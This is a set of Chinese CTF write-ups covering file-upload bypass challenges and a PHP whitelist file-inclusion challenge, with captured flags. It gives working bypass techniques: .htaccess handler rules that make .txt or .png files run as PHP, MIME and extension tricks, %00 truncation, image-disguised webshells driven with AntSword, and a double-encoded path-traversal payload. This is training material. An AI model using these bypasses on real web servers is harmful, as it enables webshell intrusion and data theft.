1.ctfhub 文件上传 js前端验证
我们上传一句话木马,发现该文件不允许上传,由于是前端验证,我们好几种方法进行绕过
我们可以使用浏览器的编辑功能,将页面中的submit事件删除,这样前端就不会对上传的文件后缀名进行检测,就能达到绕过的目的
将submit删除,上传一句话木马,得到路径,蚁剑连接
得到flag
方法二:抓包后改包,然后发包同样可以得到flag
2.buuctf warm up
打开后是一张滑稽的笑脸,F12后得到要source.php的信息,输入source.php,得到一串代码
根据代码提示,我们输入hint.php,看看有什么线索
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
从中我们看到flag在ffffllllaaaagggg中,我们继续审计代码,知道这是白名单绕过
首先我们审计代码,$whitelist = ["source"=>"source.php","hint"=>"hint.php"];由这里可以看出白名单中有source.php和hint.php,其次我们看if (! isset($page) || !is_string($page)),得知要存在$page并且是否为字符串,
最后我们看到有mb_strpos和mb_substr两个函数,百度得到mb_strpos
1、mb_strpos()函数是基于字符数进行查出返回的,第一个字符的位置是0,第二个字符的位置是1,以次类推。
2、mb_strpos()函数返回查找到字符串的首次出现的位置,如果不存在则返回 false
3、使用mb_strpos()函数对中文字符进行操作时,尽量要对页面的编码类型进行声明一下
百度mb_substr得到例子
<?php echo mb_substr("菜鸟教程", 0, 2); // 输出:菜鸟 ?>
echo
mb_substr(
'abcdefghijk'
,0,9).
""
;
//abcdefghi
echo
mb_substr(
'abcdefghijk'
,1,5).
""
;
//bcdef
echo
mb_substr(
'我们都是中国人'
,0,9).
""
;
//我们都是中国人
所以我们来分析代码,$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}//
通过上述分析,
我们要截取变量page中?前面的字符串,然后再进行白名单校验,我们需要构造payload
绕过第一个函数检查:
$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];
page参数包含有这两个文件中的任意一个
http://111.198.29.45:59377/?file=hint.php
绕过第二个函数检查:向php页面中传入参数
http://111.198.29.45:59377/?file=hint.php?
绕过第三个函数检查:两次url编码
http://111.198.29.45:59377/?file=hint.php%253f
我们第一次构造?file=hint.php%253f/ffffllllaaaagggg(上传参数会自动url解码一次,这个%253f是url两次后的),但是是一个空白的页面,通过网上的一些经验,由于ffffllllaaaagggg是四重重复,也就是暗示了有四个目录穿越里面,我们应该构造的是?file=hint.php%253F/../../../../ffffllllaaaagggg,(/../目录穿越),构造后传参,得到flag
flag{a1b24c5f-97bf-4882-848f-6592aac67c95}
3.ctfhub .htaccess
题目上简单介绍了什么是.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
方法一:
根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess的txt文件,将原有的文件替换掉。名字为.htaccess
AddType application/X-httpd-php .txt(将.txt文件当成php文件进行解析)
方法二:
<FilesMatch "is">
setHandler application/x-httpd-php
</FilesMatch>
同样命名为.htaccess
然后使用蚁剑,连接
4.ctfhub 文件上传mime验证
MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败
用bp进行抓包,修改
content type为image/png,然后send传🐎
application/octet-stream : 二进制流数据(如常见的文件下载)
application/octet-stream : 二进制流数据(如常见的文件下载),也就是说一般的东西它不会让我们通过,他只知道这是一个二进制的东西,我们修改content type,把他修改成为常见的媒体格式类型
常见的媒体格式类型如下:
- text/html : HTML格式
- text/plain :纯文本格式
- text/xml : XML格式
- image/gif :gif图片格式
- image/jpeg :jpg图片格式
- image/png:png图片格式
- 我进行实验,发现只有image/可以传🐎成功,其他不太行
5. ctfhub 文件头检查
按照老方法,抓包,改content type为image/png即可,然而我们失败了
从网上找到了另外的一种方法进行绕过,即图片马绕过
然后我们用记事本打开图片
但是我失败了,显示的仍然是文件错误,为什么呢?因为我们的图片太大,它的乱码太多导致上传图片🐎出错,那么我们需要一个简单的图片。解决方法是我们打开截屏,找到一处空白的地方进行截屏,这样的图片会比较简单,乱码也相对少,然后把图片的png格式更改为txt,用记事本打开
为了方便大家,我把这串乱码放在下方,大家自行获取,然后我们把这串图片乱马加上我们原来的一句话木马就组成了我们的图片🐎
塒NG
IHDR 腞W? sRGB ? gAMA 睆 黙 pHYs t t辠x IDATWc? 8 斊
? %c
埉+V IEND瓸`?
然后我们使用蚂蚁剑连接,打开即可
ctfhub{ce58beceb461a7a131255617}
6.buu ctf 你传你🐎呢1
我们上传php,发现不是白名单
我们先上传.htaccess文件,将png解析为php
在上传一句话木马,记得把一句话木马改成png
蚂蚁剑连接,得到flag flag{9360daa7-b9a5-4d40-9827-71b1606ad67e}
7.ctfhub 00截断
00截断的主要目的就是为了得到上传文件的路径地址,从而可以用蚁剑连接。
00截断有限制,php版本得低于5.3,并且GPC得关闭,一般在url上。
两种,%00和0x00,后台读取是遇到%00就会停止。
举个例子,url中输入的是upload/1.png%00.jpg,那么后台读取到是upload/post.php,就实现了绕后目的。
抓包看看源代码,可知能够上传的只有jpg,png,gif三种形式,上传1.png,在bp上改成1.php进行绕过
<!--
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
上传我家小🐎 ,抓包
上传成功,我们得到路径upload/1.php,我们在页面把原来被抓包的小🐎再次上传,显示上传成功
ctfhub{ee3a503788c7d90a16d5a0b3}
8.ctfhub 双写后缀
查看一下源代码
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
str函数会将上面的php,php5等等替换为空,我们构造pphphp即可,机器从左到右看的。简单说就是把php后缀修改成为pphphp即可
放上我家的小🐎,上传
出动蚂蚁剑,连接得到flag
ctfhub{2ccc9665905df3b61abf828c}
9.ctfhub 无验证
直接上传小🐎,蚂蚁剑连接得到flag
ctfhub{a155a50b7faf074a1a0ef68b}
10.bugku 眼见非实
有pk两个字,暗示我们是压缩包,把后缀改为zip形式试试,打开压缩包即可